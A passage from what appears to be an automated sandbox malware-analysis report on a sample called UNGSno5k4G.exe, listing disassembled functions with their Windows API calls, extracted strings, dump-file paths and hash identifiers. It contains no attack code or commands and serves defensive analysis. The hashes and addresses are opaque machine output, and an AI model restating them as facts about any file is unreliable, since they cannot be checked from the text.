                                                                                                                                                  • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                  • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                                                                                  • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                  • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                                                                                  Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __wcsicoll
                                                                                                                                                  • String ID: 0%d$DOWN$OFF
                                                                                                                                                  • API String ID: 3832890014-468733193
                                                                                                                                                  • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                  • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                                                                                                  • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                  • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                                                                                                  Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                                                                                  • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                                                                                  • VariantClear.OLEAUT32 ref: 0045E970
                                                                                                                                                  • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                                                                                  • __swprintf.LIBCMT ref: 0045EB1F
                                                                                                                                                  • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                                                                                  • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                                                                                  Strings
                                                                                                                                                  • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                                                                                  • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                                                                  • API String ID: 43541914-1568723262
                                                                                                                                                  • Opcode ID: 11e75855299ae3405c424824ea34456a4e4a4cfcb6a1aa253e4cc896e09893c9
                                                                                                                                                  • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                                                                                  • Opcode Fuzzy Hash: 11e75855299ae3405c424824ea34456a4e4a4cfcb6a1aa253e4cc896e09893c9
                                                                                                                                                  • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                                                                                  Function 004689FF Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 288COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                  • API String ID: 0-1603158881
                                                                                                                                                  • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                  • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                                                                                                  • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                  • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                                                                                                                                                  Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 00479D1F
                                                                                                                                                  • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                                                                                  • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                                                                                  • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                                                                                    • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                                                                                    • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                                                                                    • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                                                                                  • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                                                                                    • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                                                                                  • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                                                                  • API String ID: 665237470-60002521
                                                                                                                                                  • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                  • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                                                                                  • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                  • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                                                                                  Function 00440B39 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 261COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MetricsSystem
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 4116985748-2594219639
                                                                                                                                                  • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                  • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                                                                                                  • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                                                                  • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                                                                                                  Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ConnectRegistry_wcslen
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 535477410-2761332787
                                                                                                                                                  • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                  • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                                                                                  • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                  • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                                                                                  Function 004498BD Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 159COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 0-2594219639
                                                                                                                                                  • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                  • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                                                                                                  • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                                                                  • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                                                                                                  Function 00455297 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                                                                                                                                                  • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                                                                                                  • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 2354583917-2594219639
                                                                                                                                                  • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                  • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                                                                                                  • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                  • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                                                                                                  Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 0045F317
                                                                                                                                                  • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                                                                                  • IsMenu.USER32(?), ref: 0045F380
                                                                                                                                                  • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                                                                                  • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                                                                                  • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                                                                                  • String ID: 0$2
                                                                                                                                                  • API String ID: 3311875123-3793063076
                                                                                                                                                  • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                  • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                                                                                  • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                  • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                                                                                  Function 00448877 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 130windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                                                                                                  • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Enable$Show$MessageMoveSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 896007046-2594219639
                                                                                                                                                  • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                  • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                                                                                                  • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                  • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                                                                                                  Function 004413F0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 114windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                  • SendMessageW.USER32(02EA1AF8,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                  • SendMessageW.USER32(02EA1AF8,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$LongWindow
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 312131281-2594219639
                                                                                                                                                  • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                  • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                                                                                                  • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                  • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                                                                                                  Function 00448AFF Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                                                                                                  • GetFocus.USER32 ref: 00448B1C
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Enable$Show$FocusMessageSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3429747543-2594219639
                                                                                                                                                  • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                  • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                                                                                                  • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                  • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                                                                                                  Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\UNGSno5k4G.exe), ref: 0043719E
                                                                                                                                                  • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                                                                                  • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                                                                                  • _printf.LIBCMT ref: 004371EC
                                                                                                                                                  • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                                                                                  Strings
                                                                                                                                                  • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                                                                                  • C:\Users\user\Desktop\UNGSno5k4G.exe, xrefs: 00437189
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: HandleLoadModuleString$Message_printf
                                                                                                                                                  • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\UNGSno5k4G.exe
                                                                                                                                                  • API String ID: 220974073-3174861493
                                                                                                                                                  • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
